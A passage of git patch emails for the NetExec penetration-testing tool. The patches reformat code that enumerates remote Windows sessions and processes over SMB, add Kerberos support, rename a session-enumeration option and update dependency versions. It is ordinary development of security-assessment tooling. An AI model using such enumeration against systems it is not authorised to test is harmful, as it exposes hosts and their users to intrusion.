in self.sessions]) - maxSessionNameLen = maxSessionNameLen if len('SESSIONNAME') < maxSessionNameLen else len('SESSIONNAME')+1 - maxUsernameLen = max([len(self.sessions[i]['Username']+self.sessions[i]['Domain'])+1 for i in self.sessions])+1 - maxUsernameLen = maxUsernameLen if len('Username') < maxUsernameLen else len('Username')+1 + maxSessionNameLen = max([len(self.sessions[i]["SessionName"])+1 for i in self.sessions]) + maxSessionNameLen = maxSessionNameLen if len("SESSIONNAME") < maxSessionNameLen else len("SESSIONNAME")+1 + maxUsernameLen = max([len(self.sessions[i]["Username"]+self.sessions[i]["Domain"])+1 for i in self.sessions])+1 + maxUsernameLen = maxUsernameLen if len("Username") < maxUsernameLen else len("Username")+1 maxIdLen = max([len(str(i)) for i in self.sessions]) - maxIdLen = maxIdLen if len('ID') < maxIdLen else len('ID')+1 - maxStateLen = max([len(self.sessions[i]['state'])+1 for i in self.sessions]) - maxStateLen = maxStateLen if len('STATE') < maxStateLen else len('STATE')+1 - maxRemoteIp = max([len(self.sessions[i]['RemoteIp'])+1 for i in self.sessions]) - maxRemoteIp = maxRemoteIp if len('RemoteAddress') < maxRemoteIp else len('RemoteAddress')+1 - maxClientName = max([len(self.sessions[i]['ClientName'])+1 for i in self.sessions]) - maxClientName = maxClientName if len('ClientName') < maxClientName else len('ClientName')+1 - template = ('{SESSIONNAME: <%d} ' - '{USERNAME: <%d} ' - '{ID: <%d} ' - '{STATE: <%d} ' - '{DSTATE: <9} ' - '{CONNTIME: <20} ' - '{DISCTIME: <20} ') % (maxSessionNameLen, maxUsernameLen, maxIdLen, maxStateLen) + maxIdLen = maxIdLen if len("ID") < maxIdLen else len("ID")+1 + maxStateLen = max([len(self.sessions[i]["state"])+1 for i in self.sessions]) + maxStateLen = maxStateLen if len("STATE") < maxStateLen else len("STATE")+1 + maxRemoteIp = max([len(self.sessions[i]["RemoteIp"])+1 for i in self.sessions]) + maxRemoteIp = maxRemoteIp if len("RemoteAddress") < maxRemoteIp else len("RemoteAddress")+1 + maxClientName = max([len(self.sessions[i]["ClientName"])+1 for i in self.sessions]) + maxClientName = maxClientName if len("ClientName") < maxClientName else len("ClientName")+1 + template = ("{SESSIONNAME: <%d} " + "{USERNAME: <%d} " + "{ID: <%d} " + "{STATE: <%d} " + "{DSTATE: <9} " + "{CONNTIME: <20} " + "{DISCTIME: <20} ") % (maxSessionNameLen, maxUsernameLen, maxIdLen, maxStateLen) result = [] header = template.format( - SESSIONNAME = 'SESSIONNAME', - USERNAME = 'USERNAME', - ID = 'ID', - STATE = 'STATE', - DSTATE = 'Desktop', - CONNTIME = 'ConnectTime', - DISCTIME = 'DisconnectTime', + SESSIONNAME = "SESSIONNAME", + USERNAME = "USERNAME", + ID = "ID", + STATE = "STATE", + DSTATE = "Desktop", + CONNTIME = "ConnectTime", + DISCTIME = "DisconnectTime", ) - header2 = template.replace(' <','=<').format( - SESSIONNAME = '', - USERNAME = '', - ID = '', - STATE = '', - DSTATE = '', - CONNTIME = '', - DISCTIME = '', + header2 = template.replace(" <", "=<").format( + SESSIONNAME = "", + USERNAME = "", + ID = "", + STATE = "", + DSTATE = "", + CONNTIME = "", + DISCTIME = "", ) - header_verbose = '' - header2_verbose = '' - result.append(header+header_verbose) - result.append(header2+header2_verbose+'\n') + header_verbose = "" + header2_verbose = "" + result.extend((header + header_verbose, header2 + header2_verbose + "\n")) for i in self.sessions: - connectTime = self.sessions[i]['ConnectTime'] - connectTime = connectTime.strftime(r'%Y/%m/%d %H:%M:%S') if connectTime.year > 1601 else 'None' + connectTime = self.sessions[i]["ConnectTime"] + connectTime = connectTime.strftime(r"%Y/%m/%d %H:%M:%S") if connectTime.year > 1601 else "None" - disconnectTime = self.sessions[i]['DisconnectTime'] - disconnectTime = disconnectTime.strftime(r'%Y/%m/%d %H:%M:%S') if disconnectTime.year > 1601 else 'None' - userName = self.sessions[i]['Domain'] + '\\' + self.sessions[i]['Username'] if len(self.sessions[i]['Username']) else '' + disconnectTime = self.sessions[i]["DisconnectTime"] + disconnectTime = disconnectTime.strftime(r"%Y/%m/%d %H:%M:%S") if disconnectTime.year > 1601 else "None" + userName = self.sessions[i]["Domain"] + "\\" + self.sessions[i]["Username"] if len(self.sessions[i]["Username"]) else "" row = template.format( - SESSIONNAME = self.sessions[i]['SessionName'], + SESSIONNAME = self.sessions[i]["SessionName"], USERNAME = userName, ID = i, - STATE = self.sessions[i]['state'], - DSTATE = desktop_states[self.sessions[i]['flags']], + STATE = self.sessions[i]["state"], + DSTATE = desktop_states[self.sessions[i]["flags"]], CONNTIME = connectTime, DISCTIME = disconnectTime, ) - row_verbose = '' + row_verbose = "" result.append(row+row_verbose) self.logger.success("Enumerated qwinsta sessions") @@ -966,20 +965,20 @@ class smb(connection): self.logger.debug("Exception while calling hRpcWinStationGetAllProcesses") return if not len(r): - return None + return self.logger.success("Enumerated processes") - maxImageNameLen = max([len(i['ImageName']) for i in r]) - maxSidLen = max([len(i['pSid']) for i in r]) - template = '{: <%d} {: <8} {: <11} {: <%d} {: >12}' % (maxImageNameLen, maxSidLen) - self.logger.highlight(template.format('Image Name', 'PID', 'Session#', 'SID', 'Mem Usage')) - self.logger.highlight(template.replace(': ',':=').format('','','','','')) + maxImageNameLen = max([len(i["ImageName"]) for i in r]) + maxSidLen = max([len(i["pSid"]) for i in r]) + template = "{: <%d} {: <8} {: <11} {: <%d} {: >12}" % (maxImageNameLen, maxSidLen) + self.logger.highlight(template.format("Image Name", "PID", "Session#", "SID", "Mem Usage")) + self.logger.highlight(template.replace(": ", ":=").format("", "", "", "", "")) for procInfo in r: row = template.format( - procInfo['ImageName'], - procInfo['UniqueProcessId'], - procInfo['SessionId'], - procInfo['pSid'], - '{:,} K'.format(procInfo['WorkingSetSize']//1000), + procInfo["ImageName"], + procInfo["UniqueProcessId"], + procInfo["SessionId"], + procInfo["pSid"], + "{:,} K".format(procInfo["WorkingSetSize"]//1000), ) self.logger.highlight(row) From 724401af7aa57a31cbc5c16f0427488a77a9804b Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 26 Feb 2025 11:15:56 -0500 Subject: [PATCH 275/376] Formating --- nxc/protocols/smb.py | 95 ++++++++++++++++++++++---------------------- 1 file changed, 48 insertions(+), 47 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 2717eddf..f258830f 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -845,15 +845,16 @@ class smb(connection): for i in rsessions: sess = i["SessionInfo"]["SessionEnum_Level1"] state = TSTS.enum2value(TSTS.WINSTATIONSTATECLASS, sess["State"]).split("_")[-1] - self.sessions[sess["SessionId"]] = {"state": state, - "SessionName": sess["Name"], - "RemoteIp": "", - "ClientName": "", - "Username": "", - "Domain": "", - "Resolution": "", - "ClientTimeZone": "" - } + self.sessions[sess["SessionId"]] = { + "state": state, + "SessionName": sess["Name"], + "RemoteIp": "", + "ClientName": "", + "Username": "", + "Domain": "", + "Resolution": "", + "ClientTimeZone": "" + } def enumerate_sessions_info(self): if len(self.sessions): @@ -861,7 +862,7 @@ class smb(connection): for SessionId in self.sessions: sessdata = TermSrvSession.hRpcGetSessionInformationEx(SessionId) sessflags = TSTS.enum2value(TSTS.SESSIONFLAGS, sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["SessionFlags"]) - self.sessions[SessionId]["flags"] = sessflags + self.sessions[SessionId]["flags"] = sessflags domain = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["DomainName"] if not len(self.sessions[SessionId]["Domain"]) and len(domain): self.sessions[SessionId]["Domain"] = domain @@ -872,7 +873,7 @@ class smb(connection): self.sessions[SessionId]["DisconnectTime"] = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["DisconnectTime"] self.sessions[SessionId]["LogonTime"] = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["LogonTime"] self.sessions[SessionId]["LastInputTime"] = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["LastInputTime"] - + @requires_admin def qwinsta(self): desktop_states = { @@ -884,7 +885,7 @@ class smb(connection): if not len(self.sessions): return self.enumerate_sessions_info() - + maxSessionNameLen = max([len(self.sessions[i]["SessionName"])+1 for i in self.sessions]) maxSessionNameLen = maxSessionNameLen if len("SESSIONNAME") < maxSessionNameLen else len("SESSIONNAME")+1 maxUsernameLen = max([len(self.sessions[i]["Username"]+self.sessions[i]["Domain"])+1 for i in self.sessions])+1 @@ -907,29 +908,29 @@ class smb(connection): result = [] header = template.format( - SESSIONNAME = "SESSIONNAME", - USERNAME = "USERNAME", - ID = "ID", - STATE = "STATE", - DSTATE = "Desktop", - CONNTIME = "ConnectTime", - DISCTIME = "DisconnectTime", - ) - + SESSIONNAME="SESSIONNAME", + USERNAME="USERNAME", + ID="ID", + STATE="STATE", + DSTATE="Desktop", + CONNTIME="ConnectTime", + DISCTIME="DisconnectTime", + ) + header2 = template.replace(" <", "=<").format( - SESSIONNAME = "", - USERNAME = "", - ID = "", - STATE = "", - DSTATE = "", - CONNTIME = "", - DISCTIME = "", - ) + SESSIONNAME="", + USERNAME="", + ID="", + STATE="", + DSTATE="", + CONNTIME="", + DISCTIME="", + ) header_verbose = "" header2_verbose = "" result.extend((header + header_verbose, header2 + header2_verbose + "\n")) - + for i in self.sessions: connectTime = self.sessions[i]["ConnectTime"] connectTime = connectTime.strftime(r"%Y/%m/%d %H:%M:%S") if connectTime.year > 1601 else "None" @@ -939,28 +940,28 @@ class smb(connection): userName = self.sessions[i]["Domain"] + "\\" + self.sessions[i]["Username"] if len(self.sessions[i]["Username"]) else "" row = template.format( - SESSIONNAME = self.sessions[i]["SessionName"], - USERNAME = userName, - ID = i, - STATE = self.sessions[i]["state"], - DSTATE = desktop_states[self.sessions[i]["flags"]], - CONNTIME = connectTime, - DISCTIME = disconnectTime, + SESSIONNAME=self.sessions[i]["SessionName"], + USERNAME=userName, + ID=i, + STATE=self.sessions[i]["state"], + DSTATE=desktop_states[self.sessions[i]["flags"]], + CONNTIME=connectTime, + DISCTIME=disconnectTime, ) - row_verbose = "" + row_verbose = "" result.append(row+row_verbose) self.logger.success("Enumerated qwinsta sessions") for row in result: self.logger.highlight(row) - + @requires_admin def tasklist(self): with TSTS.LegacyAPI(self.conn, self.host) as legacy: try: - handle = legacy.hRpcWinStationOpenServer() + handle = legacy.hRpcWinStationOpenServer() r = legacy.hRpcWinStationGetAllProcesses(handle) - except: + except: # TODO: Issue https://github.com/fortra/impacket/issues/1816 self.logger.debug("Exception while calling hRpcWinStationGetAllProcesses") return @@ -974,12 +975,12 @@ class smb(connection): self.logger.highlight(template.replace(": ", ":=").format("", "", "", "", "")) for procInfo in r: row = template.format( - procInfo["ImageName"], - procInfo["UniqueProcessId"], - procInfo["SessionId"], - procInfo["pSid"], - "{:,} K".format(procInfo["WorkingSetSize"]//1000), - ) + procInfo["ImageName"], + procInfo["UniqueProcessId"], + procInfo["SessionId"], + procInfo["pSid"], + "{:,} K".format(procInfo["WorkingSetSize"]//1000), + ) self.logger.highlight(row) def shares(self): From 23de82520f42876fded284b149a9bdecc7d07bab Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 26 Feb 2025 11:28:57 -0500 Subject: [PATCH 276/376] Add missing kerberos parameter --- nxc/protocols/smb.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index f258830f..16a0d8b4 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -837,7 +837,7 @@ class smb(connection): return response def get_session_list(self): - with TSTS.TermSrvEnumeration(self.conn, self.host) as lsm: + with TSTS.TermSrvEnumeration(self.conn, self.host, self.kerberos) as lsm: handle = lsm.hRpcOpenEnum() rsessions = lsm.hRpcGetEnumResult(handle, Level=1)["ppSessionEnumResult"] lsm.hRpcCloseEnum(handle) @@ -858,7 +858,7 @@ class smb(connection): def enumerate_sessions_info(self): if len(self.sessions): - with TSTS.TermSrvSession(self.conn, self.host) as TermSrvSession: + with TSTS.TermSrvSession(self.conn, self.host, self.kerberos) as TermSrvSession: for SessionId in self.sessions: sessdata = TermSrvSession.hRpcGetSessionInformationEx(SessionId) sessflags = TSTS.enum2value(TSTS.SESSIONFLAGS, sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["SessionFlags"]) @@ -957,7 +957,7 @@ class smb(connection): @requires_admin def tasklist(self): - with TSTS.LegacyAPI(self.conn, self.host) as legacy: + with TSTS.LegacyAPI(self.conn, self.host, self.kerberos) as legacy: try: handle = legacy.hRpcWinStationOpenServer() r = legacy.hRpcWinStationGetAllProcesses(handle) From 6c807b283c359d79c29dd32aa89955ad97e89f61 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 26 Feb 2025 11:51:12 -0500 Subject: [PATCH 277/376] Rename ambigous function --- nxc/protocols/smb.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 59b13dce..50827a74 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -1083,7 +1083,7 @@ class smb(connection): dc_ips.append(self.host) return dc_ips - def sessions(self): + def smb_sessions(self): try: sessions = get_netsession( self.host, @@ -1098,8 +1098,8 @@ class smb(connection): if session.sesi10_cname.find(self.local_ip) == -1: self.logger.highlight(f"{session.sesi10_cname:<25} User:{session.sesi10_username}") return sessions - except Exception: - pass + except Exception as e: + self.logger.debug(e) def disks(self): disks = [] From c9111968e285e3af5f3df6e0ec0d25bf409d09eb Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 26 Feb 2025 12:05:34 -0500 Subject: [PATCH 278/376] Also rename the arg lol --- nxc/protocols/smb/proto_args.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/protocols/smb/proto_args.py b/nxc/protocols/smb/proto_args.py index 8ce85dc8..0dc77a5a 100644 --- a/nxc/protocols/smb/proto_args.py +++ b/nxc/protocols/smb/proto_args.py @@ -41,7 +41,7 @@ def proto_args(parser, parents): mapping_enum_group.add_argument("--interfaces", action="store_true", help="enumerate network interfaces") mapping_enum_group.add_argument("--no-write-check", action="store_true", help="Skip write check on shares (avoid leaving traces when missing delete permissions)") mapping_enum_group.add_argument("--filter-shares", nargs="+", help="Filter share by access, option 'read' 'write' or 'read,write'") - mapping_enum_group.add_argument("--sessions", action="store_true", help="enumerate active sessions") + mapping_enum_group.add_argument("--smb-sessions", action="store_true", help="enumerate active smb sessions") mapping_enum_group.add_argument("--disks", action="store_true", help="enumerate disks") mapping_enum_group.add_argument("--loggedon-users-filter", action="store", help="only search for specific user, works with regex") mapping_enum_group.add_argument("--loggedon-users", action="store_true", help="enumerate logged on users") From 47bb14680a63a9ff4b7a11be81aac129d5bec6e0 Mon Sep 17 00:00:00 2001 From: n3rada <72791564+n3rada@users.noreply.github.com> Date: Wed, 26 Feb 2025 18:39:03 +0100 Subject: [PATCH 279/376] Fix auto version --- poetry.lock | 1345 ++++++++++++++++++++++++------------------------ pyproject.toml | 53 +- 2 files changed, 705 insertions(+), 693 deletions(-) diff --git a/poetry.lock b/poetry.lock index e91be90e..8a0a7fc4 100644 --- a/poetry.lock +++ b/poetry.lock @@ -47,16 +47,19 @@ unicrypto = ">=0.0.9" [[package]] name = "aioconsole" -version = "0.6.2" +version = "0.8.1" description = "Asynchronous console and interfaces for asyncio" optional = false -python-versions = ">=3.7" +python-versions = ">=3.8" groups = ["main"] files = [ - {file = "aioconsole-0.6.2-py3-none-any.whl", hash = "sha256:1968021eb03b88fcdf5f5398154b21585e941a7b98c9fcef51c4bb0158156619"}, - {file = "aioconsole-0.6.2.tar.gz", hash = "sha256:bac11286f1062613d2523ceee1ba81c676cd269812b865b66b907448a7b5f63e"}, + {file = "aioconsole-0.8.1-py3-none-any.whl", hash = "sha256:e1023685cde35dde909fbf00631ffb2ed1c67fe0b7058ebb0892afbde5f213e5"}, + {file = "aioconsole-0.8.1.tar.gz", hash = "sha256:0535ce743ba468fb21a1ba43c9563032c779534d4ecd923a46dbd350ad91d234"}, ] +[package.extras] +dev = ["pytest", "pytest-asyncio", "pytest-cov", "pytest-repeat", "uvloop ; platform_python_implementation != \"PyPy\" and sys_platform != \"win32\""] + [[package]] name = "aiosmb" version = "0.4.11" @@ -84,19 +87,22 @@ winacl = ">=0.1.8" [[package]] name = "aiosqlite" -version = "0.19.0" +version = "0.21.0" description = "asyncio bridge to the standard sqlite3 module" optional = false -python-versions = ">=3.7" +python-versions = ">=3.9" groups = ["main"] files = [ - {file = "aiosqlite-0.19.0-py3-none-any.whl", hash = "sha256:edba222e03453e094a3ce605db1b970c4b3376264e56f32e2a4959f948d66a96"}, - {file = "aiosqlite-0.19.0.tar.gz", hash = "sha256:95ee77b91c8d2808bd08a59fbebf66270e9090c3d92ffbf260dc0db0b979577d"}, + {file = "aiosqlite-0.21.0-py3-none-any.whl", hash = "sha256:2549cf4057f95f53dcba16f2b64e8e2791d7e1adedb13197dd8ed77bb226d7d0"}, + {file = "aiosqlite-0.21.0.tar.gz", hash = "sha256:131bb8056daa3bc875608c631c678cda73922a2d4ba8aec373b19f18c17e7aa3"}, ] +[package.dependencies] +typing_extensions = ">=4.0" + [package.extras] -dev = ["aiounittest (==1.4.1) ; python_version < \"3.8\"", "attribution (==1.6.2)", "black (==23.3.0)", "coverage[toml] (==7.2.3)", "flake8 (==5.0.4)", "flake8-bugbear (==23.3.12)", "flit (==3.7.1)", "mypy (==1.2.0)", "ufmt (==2.1.0)", "usort (==1.0.6)"] -docs = ["sphinx (==6.1.3) ; python_version >= \"3.8\"", "sphinx-mdinclude (==0.5.3)"] +dev = ["attribution (==1.7.1)", "black (==24.3.0)", "build (>=1.2)", "coverage[toml] (==7.6.10)", "flake8 (==7.0.0)", "flake8-bugbear (==24.12.12)", "flit (==3.10.1)", "mypy (==1.14.1)", "ufmt (==2.5.1)", "usort (==1.0.8.post1)"] +docs = ["sphinx (==8.1.3)", "sphinx-mdinclude (==0.6.1)"] [[package]] name = "aiowinreg" @@ -150,14 +156,14 @@ files = [ [[package]] name = "argcomplete" -version = "3.5.1" +version = "3.5.3" description = "Bash tab completion for argparse" optional = false python-versions = ">=3.8" groups = ["main"] files = [ - {file = "argcomplete-3.5.1-py3-none-any.whl", hash = "sha256:1a1d148bdaa3e3b93454900163403df41448a248af01b6e849edc5ac08e6c363"}, - {file = "argcomplete-3.5.1.tar.gz", hash = "sha256:eb1ee355aa2557bd3d0145de7b06b2a45b0ce461e1e7813f5d066039ab4177b4"}, + {file = "argcomplete-3.5.3-py3-none-any.whl", hash = "sha256:2ab2c4a215c59fd6caaff41a869480a23e8f6a5f910b266c1808037f4e375b61"}, + {file = "argcomplete-3.5.3.tar.gz", hash = "sha256:c12bf50eded8aebb298c7b7da7a5ff3ee24dffd9f5281867dfe1424b58c55392"}, ] [package.extras] @@ -231,39 +237,37 @@ h11 = ">=0.14.0" [[package]] name = "bcrypt" -version = "4.2.0" +version = "4.2.1" description = "Modern password hashing for your software and your servers" optional = false python-versions = ">=3.7" groups = ["main"] files = [ - {file = "bcrypt-4.2.0-cp37-abi3-macosx_10_12_universal2.whl", hash = "sha256:096a15d26ed6ce37a14c1ac1e48119660f21b24cba457f160a4b830f3fe6b5cb"}, - {file = "bcrypt-4.2.0-cp37-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c02d944ca89d9b1922ceb8a46460dd17df1ba37ab66feac4870f6862a1533c00"}, - {file = "bcrypt-4.2.0-cp37-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1d84cf6d877918620b687b8fd1bf7781d11e8a0998f576c7aa939776b512b98d"}, - {file = "bcrypt-4.2.0-cp37-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:1bb429fedbe0249465cdd85a58e8376f31bb315e484f16e68ca4c786dcc04291"}, - {file = "bcrypt-4.2.0-cp37-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:655ea221910bcac76ea08aaa76df427ef8625f92e55a8ee44fbf7753dbabb328"}, - {file = "bcrypt-4.2.0-cp37-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:1ee38e858bf5d0287c39b7a1fc59eec64bbf880c7d504d3a06a96c16e14058e7"}, - {file = "bcrypt-4.2.0-cp37-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:0da52759f7f30e83f1e30a888d9163a81353ef224d82dc58eb5bb52efcabc399"}, - {file = "bcrypt-4.2.0-cp37-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:3698393a1b1f1fd5714524193849d0c6d524d33523acca37cd28f02899285060"}, - {file = "bcrypt-4.2.0-cp37-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:762a2c5fb35f89606a9fde5e51392dad0cd1ab7ae64149a8b935fe8d79dd5ed7"}, - {file = "bcrypt-4.2.0-cp37-abi3-win32.whl", hash = "sha256:5a1e8aa9b28ae28020a3ac4b053117fb51c57a010b9f969603ed885f23841458"}, - {file = "bcrypt-4.2.0-cp37-abi3-win_amd64.whl", hash = "sha256:8f6ede91359e5df88d1f5c1ef47428a4420136f3ce97763e31b86dd8280fbdf5"}, - {file = "bcrypt-4.2.0-cp39-abi3-macosx_10_12_universal2.whl", hash = "sha256:c52aac18ea1f4a4f65963ea4f9530c306b56ccd0c6f8c8da0c06976e34a6e841"}, - {file = "bcrypt-4.2.0-cp39-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3bbbfb2734f0e4f37c5136130405332640a1e46e6b23e000eeff2ba8d005da68"}, - {file = "bcrypt-4.2.0-cp39-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3413bd60460f76097ee2e0a493ccebe4a7601918219c02f503984f0a7ee0aebe"}, - {file = "bcrypt-4.2.0-cp39-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:8d7bb9c42801035e61c109c345a28ed7e84426ae4865511eb82e913df18f58c2"}, - {file = "bcrypt-4.2.0-cp39-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:3d3a6d28cb2305b43feac298774b997e372e56c7c7afd90a12b3dc49b189151c"}, - {file = "bcrypt-4.2.0-cp39-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:9c1c4ad86351339c5f320ca372dfba6cb6beb25e8efc659bedd918d921956bae"}, - {file = "bcrypt-4.2.0-cp39-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:27fe0f57bb5573104b5a6de5e4153c60814c711b29364c10a75a54bb6d7ff48d"}, - {file = "bcrypt-4.2.0-cp39-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:8ac68872c82f1add6a20bd489870c71b00ebacd2e9134a8aa3f98a0052ab4b0e"}, - {file = "bcrypt-4.2.0-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:cb2a8ec2bc07d3553ccebf0746bbf3d19426d1c6d1adbd4fa48925f66af7b9e8"}, - {file = "bcrypt-4.2.0-cp39-abi3-win32.whl", hash = "sha256:77800b7147c9dc905db1cba26abe31e504d8247ac73580b4aa179f98e6608f34"}, - {file = "bcrypt-4.2.0-cp39-abi3-win_amd64.whl", hash = "sha256:61ed14326ee023917ecd093ee6ef422a72f3aec6f07e21ea5f10622b735538a9"}, - {file = "bcrypt-4.2.0-pp310-pypy310_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:39e1d30c7233cfc54f5c3f2c825156fe044efdd3e0b9d309512cc514a263ec2a"}, - {file = "bcrypt-4.2.0-pp310-pypy310_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:f4f4acf526fcd1c34e7ce851147deedd4e26e6402369304220250598b26448db"}, - {file = "bcrypt-4.2.0-pp39-pypy39_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:1ff39b78a52cf03fdf902635e4c81e544714861ba3f0efc56558979dd4f09170"}, - {file = "bcrypt-4.2.0-pp39-pypy39_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:373db9abe198e8e2c70d12b479464e0d5092cc122b20ec504097b5f2297ed184"}, - {file = "bcrypt-4.2.0.tar.gz", hash = "sha256:cf69eaf5185fd58f268f805b505ce31f9b9fc2d64b376642164e9244540c1221"}, + {file = "bcrypt-4.2.1-cp37-abi3-macosx_10_12_universal2.whl", hash = "sha256:1340411a0894b7d3ef562fb233e4b6ed58add185228650942bdc885362f32c17"}, + {file = "bcrypt-4.2.1-cp37-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b1ee315739bc8387aa36ff127afc99120ee452924e0df517a8f3e4c0187a0f5f"}, + {file = "bcrypt-4.2.1-cp37-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8dbd0747208912b1e4ce730c6725cb56c07ac734b3629b60d4398f082ea718ad"}, + {file = "bcrypt-4.2.1-cp37-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:aaa2e285be097050dba798d537b6efd9b698aa88eef52ec98d23dcd6d7cf6fea"}, + {file = "bcrypt-4.2.1-cp37-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:76d3e352b32f4eeb34703370e370997065d28a561e4a18afe4fef07249cb4396"}, + {file = "bcrypt-4.2.1-cp37-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:b7703ede632dc945ed1172d6f24e9f30f27b1b1a067f32f68bf169c5f08d0425"}, + {file = "bcrypt-4.2.1-cp37-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:89df2aea2c43be1e1fa066df5f86c8ce822ab70a30e4c210968669565c0f4685"}, + {file = "bcrypt-4.2.1-cp37-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:04e56e3fe8308a88b77e0afd20bec516f74aecf391cdd6e374f15cbed32783d6"}, + {file = "bcrypt-4.2.1-cp37-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:cfdf3d7530c790432046c40cda41dfee8c83e29482e6a604f8930b9930e94139"}, + {file = "bcrypt-4.2.1-cp37-abi3-win32.whl", hash = "sha256:adadd36274510a01f33e6dc08f5824b97c9580583bd4487c564fc4617b328005"}, + {file = "bcrypt-4.2.1-cp37-abi3-win_amd64.whl", hash = "sha256:8c458cd103e6c5d1d85cf600e546a639f234964d0228909d8f8dbeebff82d526"}, + {file = "bcrypt-4.2.1-cp39-abi3-macosx_10_12_universal2.whl", hash = "sha256:8ad2f4528cbf0febe80e5a3a57d7a74e6635e41af1ea5675282a33d769fba413"}, + {file = "bcrypt-4.2.1-cp39-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:909faa1027900f2252a9ca5dfebd25fc0ef1417943824783d1c8418dd7d6df4a"}, + {file = "bcrypt-4.2.1-cp39-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cde78d385d5e93ece5479a0a87f73cd6fa26b171c786a884f955e165032b262c"}, + {file = "bcrypt-4.2.1-cp39-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:533e7f3bcf2f07caee7ad98124fab7499cb3333ba2274f7a36cf1daee7409d99"}, + {file = "bcrypt-4.2.1-cp39-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:687cf30e6681eeda39548a93ce9bfbb300e48b4d445a43db4298d2474d2a1e54"}, + {file = "bcrypt-4.2.1-cp39-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:041fa0155c9004eb98a232d54da05c0b41d4b8e66b6fc3cb71b4b3f6144ba837"}, + {file = "bcrypt-4.2.1-cp39-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:f85b1ffa09240c89aa2e1ae9f3b1c687104f7b2b9d2098da4e923f1b7082d331"}, + {file = "bcrypt-4.2.1-cp39-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:c6f5fa3775966cca251848d4d5393ab016b3afed251163c1436fefdec3b02c84"}, + {file = "bcrypt-4.2.1-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:807261df60a8b1ccd13e6599c779014a362ae4e795f5c59747f60208daddd96d"}, + {file = "bcrypt-4.2.1-cp39-abi3-win32.whl", hash = "sha256:b588af02b89d9fad33e5f98f7838bf590d6d692df7153647724a7f20c186f6bf"}, + {file = "bcrypt-4.2.1-cp39-abi3-win_amd64.whl", hash = "sha256:e84e0e6f8e40a242b11bce56c313edc2be121cec3e0ec2d76fce01f6af33c07c"}, + {file = "bcrypt-4.2.1-pp310-pypy310_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:76132c176a6d9953cdc83c296aeaed65e1a708485fd55abf163e0d9f8f16ce0e"}, + {file = "bcrypt-4.2.1-pp310-pypy310_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:e158009a54c4c8bc91d5e0da80920d048f918c61a581f0a63e4e93bb556d362f"}, + {file = "bcrypt-4.2.1.tar.gz", hash = "sha256:6765386e3ab87f569b276988742039baab087b2cdb01e809d74e74503c2faafe"}, ] [package.extras] @@ -272,18 +276,19 @@ typecheck = ["mypy"] [[package]] name = "beautifulsoup4" -version = "4.12.3" +version = "4.13.3" description = "Screen-scraping library" optional = false -python-versions = ">=3.6.0" +python-versions = ">=3.7.0" groups = ["main"] files = [ - {file = "beautifulsoup4-4.12.3-py3-none-any.whl", hash = "sha256:b80878c9f40111313e55da8ba20bdba06d8fa3969fc68304167741bbf9e082ed"}, - {file = "beautifulsoup4-4.12.3.tar.gz", hash = "sha256:74e3d1928edc070d21748185c46e3fb33490f22f52a3addee9aee0f4f7781051"}, + {file = "beautifulsoup4-4.13.3-py3-none-any.whl", hash = "sha256:99045d7d3f08f91f0d656bc9b7efbae189426cd913d830294a15eefa0ea4df16"}, + {file = 